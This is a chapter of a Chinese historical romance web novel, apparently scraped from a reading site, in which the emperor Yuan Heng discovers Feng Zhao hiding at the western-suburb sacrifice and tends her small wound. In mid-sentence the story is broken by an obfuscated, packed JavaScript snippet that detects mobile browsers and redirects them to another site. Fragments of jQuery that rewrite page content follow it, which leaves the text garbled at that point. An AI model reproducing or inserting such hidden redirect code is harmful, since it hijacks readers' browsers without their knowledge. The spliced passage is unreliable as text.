默认冷灰
24号文字
方正启体

28. 第 28 章

作者:彭三山本书字数:K更新时间:
    圣驾一路浩浩荡荡到了西郊,太常寺已经在这里布置好一切,只待皇帝亲临。


    西郊外祭坛早早布置好了,只是祭坛之外建起了厚厚的一层墙垣,外人无法看见祭坛,只能从偶尔打开的青门之中窥视一二。


    这是仪仗来到西郊的第一日,皇帝将率领公卿众人着戎装绕墙骑行,皇帝绕坛一圈,而众公卿绕坛七圈,此之谓蹋坛。其余众人则到百子帐中休息。


    百子帐以木板作料,木条和绳结作缚,制成穹顶,其上覆以青缯,因为建成后巨大无比,可容百余人坐下,便称之为百子帐。


    皇帝率众人蹋坛归来,便于帐中大飨群臣。毕竟众人一路从城中走来,早已饥累交加。


    帐前竖立着七根木杆,杆上覆白绢,又挂上长长的马尾,迎着风轻轻飘动。侍从们正在杀牛马祭祀,也兼备餐之用。伎乐们在帐中奏乐,乐声传入众人耳中,也悠扬地飘进了祭坛之上。


    席间皇帝以酒作礼,宴敬群臣。众臣自然也不敢失了礼数,一个个说着祈福颂圣的话向皇帝敬酒,而皇帝今日大约心情极佳,对敬酒来者不拒,众人看陛下心思敬得越发频繁,生怕自己落了下风。


    于是酒过半晌,元恒就醉了。他撇下群臣,径自回了御帐。此地林木交错,百子帐错落有致,而御帐便在众多百子帐之后。


    元恒晕着头,慢慢地向后走,走着走着忽然顿住,他骤然转头看向一侧的林木,那里平静无虞,他呵斥一声,“出来!”


    侍从卫将顿时紧张戒备,腰旁佩刀立刻拔出,神色警惕看向那处。


    那里仍然平静无声,元恒眯着眼,慢慢走过去。侍从万分担心,“陛下——”


    元恒摆手,他倒要看看是什么人在装神弄鬼。


    树丛后的人眼见躲不住了,终于放弃,于是众人便看见一阵窸窸窣窣后,翠木之后现出来一个女郎。


    她低着头,缓缓挪着步子,走到陛下跟前,“陛下……”


    元恒死死拧着眉头,“你怎么会在这里?”


    这女郎不是别人,正是冯照。


    她没有预料到会被中途发现,此刻被周围众人盯着,原先那些准备对着陛下说出的肉麻话一句也说不出口了,此时还有刺驾的嫌疑,没看陛下身后的内幢将虎视眈眈地盯着她么?


    冯照绞尽脑汁,想着怎么能让陛下带她进入帐中。多日未见,此刻陛下脸上再看不出当初的浓情蜜意,只有满满的审视,她须得说一个让陛下无法拒绝的理由。


    她拼命挤出一点泪,苦着脸仰头对上他,“陛下怎么忍心抛妻弃子?”


    抛妻弃子?!


    元恒瞪大了眼睛,他听见了什么?他的酒还没醒么。


    满场的侍从都惊得握不住手中的刀剑了,一个个目光小心瞥向陛下脸上,陛下何时在宫外有妻有子,还被人找上门来?


    元恒闭了闭眼,一把拉住冯照的胳膊,拖着她往御帐中走。


    内幢将急忙跟上去,却被白准拦住,中常侍脸上表情精彩,嘴歪眼斜好像中风了一样,内幢将不知所以,刚一碰到帐门,却被陛下呵斥出来,“谁都别进来!”


    白准朝着面色愕然的内幢将双手一摊,好像早有预料,我就说么。


    帐中二人一高一矮,冯照跪坐在地。


    元恒见她可怜又可气,忍不住道:“你胡说什么!”


    冯照泣声,“陛下不是要我做妻子吗?如今却对我不闻不问,是何道理?”


    元恒抚额,还真给她狡辩成了,这的确是他的意思,这么说倒也不算错。


    不对!什么抛妻,什么叫抛妻,简直荒谬!他险些被她给绕进去了。


    “弃子又是怎么回事?我哪来的孩子?”他问。


    冯照瞥他一眼,又抬手捂住了腹部,小声道:“陛下都不认我是妻子了,岂不是也放弃了我们将来的孩子。”


    元恒:“……”


    冯照见他不为所动,又上前一步挪动到他脚下,小心拉住了他的手。


    元恒却拽出了自己的手,冷脸问她:“你不在宫里好好待着,来这儿做什么?”


    原来还知道我进宫了呀,我还当你不知道呢,冯照心里暗暗腹诽,但丝毫不敢表露出来,只老老实实说:“我从未见过西郊大祭,一心想来看看。”


    接着脸上又扬起笑容,“幸亏我来了,否则定然见不到陛下统领千军,御治万民的雄姿伟岸了。朝中百官都能见到,独我一人见不到,我心里实在难耐,便求了太后让我过来。”


    “我一知晓陛下独自主持祭天便忍不住想来一观了,可到了这里却见不到陛下,便等在御帐外面,又怕卫守们把我当成刺客,不敢现身,好在陛下及时发现了我。”


    听到这里,元恒心里微微触动。其实自她进宫以来,她的一切言行都有人禀报他,也知道她想见他。毕竟他是禁宫之主,若是宫中事都不知道,他这皇帝也不用当了。


    但元恒不去见她,一则是心中有气,不肯原谅她,二则是他不肯低头。自上次两人不欢而散之后,他以为今后再也不会见这女郎,只把这当作露水情缘。毕竟他贵为天子,胆敢惹怒他的不会再有机会出现在他面前。


    可在二人分离的这段时日里,他竟时不时想起她,想起她的任性,想起她的欺骗。他越发觉得不能就这么轻易放过她。正巧这时她进宫来了,既然到了他的地盘,你搅动得我无法安心,那么你也休想求一个安宁。


    在这种恶劣的心绪下,他冷眼旁观她在宫里四处打听,想尽办法与他见面。元恒在这种别样的关注里感受到了一丝隐秘的得意感,他享受她的目光、她的心思都为他所动。哪怕她只有人在宫中,也好过在宫外不能事事掌控。


    元恒一贯以圣君要求自己,行事作风皆学旧统,这种说来难以启齿的心思连他自己都不曾意识到。


    只是当这女郎说为见他,独自追到这里来时,他不免心有触动,终究是个女郎而已,何必与她置气。


    见他面色似有松动,冯照赶紧趁隙再度抓住他的手。


    他没有甩开,冯照窃喜,又将脸靠在了他的手上。她捧住他的手,张开之后堪堪盖住她的半边脸庞,两具身体的温度相贴,原来是一样的火热。


    女郎婉转靠在腿边,姿态尽显柔顺,手上传来皎洁光滑的触感,那是她的脸庞,元恒忍不住握住她精巧的下巴,让她的眼睛看着他,不要再去看旁的一切。


    孤男寡女共处一室,帐中仿佛要升温,将二人一起燃进业火里。


    元恒的手慢慢往下,碰到了她的耳朵,她的脖颈……


    他忽然顿住,坐下来,把她的头轻轻转过来,“这是什么?”


    她的脖颈连着头发的地方有一道划痕,上面正渗出点点血意。


    冯照把他的手拿下来一看,手指上也沾上了一点血渍,她小声说道:“就


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196679|163160||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是刚刚躲在树丛里,不知是树枝还是草划伤的。”


    元恒皱起眉头盯着那里看,“怎么这么不小心?”


    冯照噘着嘴,“我又没来过这里,本来藏得好好的,谁知道你那么聪明,一下就猜到有人了。我心一慌就顾不得小心,肯定就会病急乱投医嘛。”


    她说这话时目光谴责地看着他,好像是他的过错一样,嫌他太过聪明。也不想想就她那三脚猫功夫能躲到哪里去,要不是被他发现了,而是被哪个公卿知道,肯定闹大收不了场。


    她怎么总是这样毛毛躁躁把自己弄伤,偏偏还总是不消停。若不是他,换做别人谁能容得了她肆意游荡,她却不知好歹处处留情,非要置他于不顾,想到这里,他刚刚软下来的心又变硬了。


    然而下一刻他又被惊呆了,“你……!”


    女郎抓住他的手,将那只沾血的手指放到自己的唇上,唇间湿意很快将那点血渍濡湿殆尽。


    她只抓住了一根手指,却好像用绳索捆住了他的全身,让他无法动弹,那点湿意顺着指尖流遍全身,像冬日冰封一样把人冻住。


    元恒猛然拔出自己的手,这成何体统!他喘着气,好像才从沉冰中解封,“放肆!”


    冯照低头假作谢罪,但却暗暗翻了个白眼,从前他可不这样扭捏,如今一段时日不见却装起纯情来了。


    半晌,元恒好似平复了心绪,才问起她,“你自己来的,晚上住哪里?”


    冯照以为他又要怪她毫无准备,便解释道:“我与阿兄说过,晚上可住在他的帐中。”


    元恒好像被她堵住,原本要说的话又换了个话题,便说道:“明日若来找我别再偷偷摸摸的了,叫众公卿知道,你的脸面不要,我的面子往哪儿搁?”


    冯照鼓着脸,“知道啦……那我怎么找陛下?”


    元恒不语,只是转头去了内帐。


    冯照不敢跟着进去,此处虽在外,但御帐相当于宫中寝殿,非诏不得入,她也不敢踩在皇帝的红线上,只敢在外嘟囔,“陛下见我轻而易举,我见陛下却难如登天,若是思念陛下又该如何见面?岂非又像今日这样?”


    她在外面嘀嘀咕咕,元恒却很快出来了,手里还拿着一个小玉瓶。


    地上铺了厚厚几层毛毡,他坐下来,叫她躺下,她便乖乖躺下。


    叫她躺下不是躺在他的腿上!元恒又被她弄得呆住了。


    ……也罢,就这样吧。


    他把瓶塞拔掉,轻轻倒了一点在她的伤口上,又用手轻轻抹开。他手上还带着刚才过水的潮意,乍一碰到温热的皮肤,冯照不由轻轻“嘶”了一声。


    他顿了一下,“这回知道要小心了吧。”


    冯照轻轻哼了一声,又尽力睁着眼睛从下往上看他,“我怎么见陛下嘛……”


    元恒上完了药,才松口回她,“先找白准,他会告诉你怎么见。”


    冯照又哼哼两声,“中常侍日理万机,叫我怎么找。”


    元恒上完药盖上盖子,腾出手来轻轻点了点她的额头,“所以你有事再找。”


    冯照听了,歪心思又动起来,她翻了个身,昂起头盯着他,“怎么才叫有事?思念陛下算不算有事?想和陛下说话算不算有事?”


    元恒被她的胡搅蛮缠说得没辙,他说什么都会被她曲解,于是轻轻推开她走了。只是转过身后背对着她,在她看不见的地方又轻轻勾起了嘴角。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)